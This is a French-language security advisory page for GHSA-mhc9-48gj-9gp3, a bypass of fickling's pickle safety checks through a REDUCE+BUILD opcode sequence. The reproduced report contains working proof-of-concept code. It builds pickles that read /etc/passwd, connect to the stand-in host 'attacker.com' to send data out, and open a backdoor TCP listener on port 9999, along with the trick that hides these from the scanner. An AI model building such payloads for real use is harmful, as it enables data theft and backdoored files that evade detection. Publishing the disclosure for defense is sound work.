GHSA-mhc9-48gj-9gp3
GHSA-mhc9-48gj-9gp3 · Fickling has safety check bypass via REDUCE+BUILD opcode sequence
Cette page présente des faits issus de sources publiques. Consultez l’avis original avant toute mise à jour.
Cette page présente une partie des faits des sources. Consultez les avis liés pour la description complète et les versions concernées.
# Assessment It is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400). # Original report ### Summary All 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection. ## Details The bypass exploits three weaknesses in fickling's static analysis pipeline: 1. **`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `"SMTP"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc. 2. **`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged. 3. **`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism). ### Affected versions All versions through 0.1.7 (latest as of 2026-02-18). ### Affected APIs - `fickling.is_likely_safe()` - returns `True` for bypass payloads - `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE` - `fickling --check-safety` CLI - exits with code 0 - `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes - `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes ## PoC A single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`: ```python import io, struct, tempfile, os def sbu(s): """SHORT_BINUNICODE opcode helper.""" b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b def make_exfiltration_pickle(): """ Single pickle that: 1. Reads /etc/passwd via fileinput.input() 2. Opens TCP connection to attacker via smtplib.SMTP() Both operations pass as LIKELY_SAFE. """ buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO() # --- Operation 1: Read /etc/passwd --- payload.write(sbu("fileinput") + sbu("input") + b"\x93") # STACK_GLOBAL payload.write(sbu("/etc/passwd") + b"\x85") # arg + TUPLE1 payload.write(b"R") # REDUCE payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD payload.write(b"0") # POP (discard result) # --- Operation 2: Connect to attacker --- payload.write(sbu("smtplib") + sbu("SMTP") + b"\x93") # STACK_GLOBAL payload.write(sbu("attacker.com") + b"\x85") # arg + TUPLE1 payload.write(b"R") # REDUCE payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD payload.write(b".") # STOP frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue() # Generate and test data = make_exfiltration_pickle() with open("/tmp/exfil.pkl", "wb") as f: f.write(data) import fickling print(fickling.is_likely_safe("/tmp/exfil.pkl")) # Output: True <-- BYPASSED (file read + network connection in one pickle) ``` fickling decompiles this to: ```python from fileinput import input _var0 = input('/etc/passwd') # reads /etc/passwd _var1 = _var0 _var1.__setstate__({'_x': 'y'}) from smtplib import SMTP _var2 = SMTP('attacker.com') # opens TCP connection to attacker _var3 = _var2 _var3.__setstate__({'_x': 'y'}) result = _var3 ``` Yet reports `LIKELY_SAFE` because every call is either in `likely_safe_imports` (skipped) or is `__setstate__` (excluded). **CLI verification:** ```bash $ fickling --check-safety /tmp/exfil.pkl; echo "EXIT: $?" EXIT: 0 # BYPASSED - file read + network access passes as safe ``` **`always_check_safety()` verification:** ```python import fickling, pickle fickling.always_check_safety() # This should raise UnsafeFileError for malicious pickles, but doesn't: with open("/tmp/exfil.pkl", "rb") as f: result = pickle.load(f) # No exception raised — malicious code executed successfully ``` **`check_safety()` context manager verification:** ```python import fickling, pickle with fickling.check_safety(): with open("/tmp/exfil.pkl", "rb") as f: result = pickle.load(f) # No exception raised — malicious code executed successfully ``` ### Backdoor listener PoC (most impactful) A pickle that opens a TCP listener on port 9999, binding to all interfaces: ```python import io, struct def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b def make_backdoor_listener(): buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO() # socketserver.TCPServer via STACK_GLOBAL payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93") # Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types payload.write(b"(") # MARK payload.write(sbu("0.0.0.0")) # host string payload.write(b"J" + struct.pack("<i", 9999)) # BININT port payload.write(b"t") # TUPLE # Handler class via STACK_GLOBAL payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93") payload.write(b"\x86") # TUPLE2 -> (address, handler) payload.write(b"R") # REDUCE -> TCPServer(address, handler) payload.write(b"N") # NONE payload.write(b"b") # BUILD(None) -> no-op payload.write(b".") # STOP frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue() import fickling, pickle, socket data = make_backdoor_listener() with open("/tmp/backdoor.pkl", "wb") as f: f.write(data) print(fickling.is_likely_safe("/tmp/backdoor.pkl")) # Output: True <-- BYPASSED server = pickle.loads(data) # Port 9999 is now LISTENING on all interfaces s = socket.socket() s.connect(("127.0.0.1", 9999)) print("Connected to backdoor port!") # succeeds s.close() server.server_close() ``` The TCPServer constructor calls `server_bind()` and `server_activate()` (which calls `listen()`), so the port is open and accepting connections immediately after `pickle.loads()` returns. ## Impact An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include: - **Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls `server_bind()` and `server_activate(
CVSS 5.3 · Moyenne · Correctif disponible
- Publication
- Mise à jour
Pile logicielle: python
Produits et versions concernés
fickling PyPI
- Versions du logiciel
- 0.0.1
- 0.0.2
- 0.0.3
- 0.0.4
- 0.0.5
- 0.0.6
- 0.0.7
- 0.0.8
- 0.1.2
- 0.1.3
- 0.1.4
- 0.1.5
- 0.1.6
- 0.1.7
- Plages de versions concernées
- ECOSYSTEM: < 0.1.8
Mettez à jour vers 0.1.8
Sources originales
- https://github.com/trailofbits/fickling/security/advisories/GHSA-mhc9-48gj-9gp3
- https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400
- https://github.com/advisories/GHSA-83pf-v6qq-pwmr
- https://github.com/trailofbits/fickling
- https://osv.dev/vulnerability/GHSA-mhc9-48gj-9gp3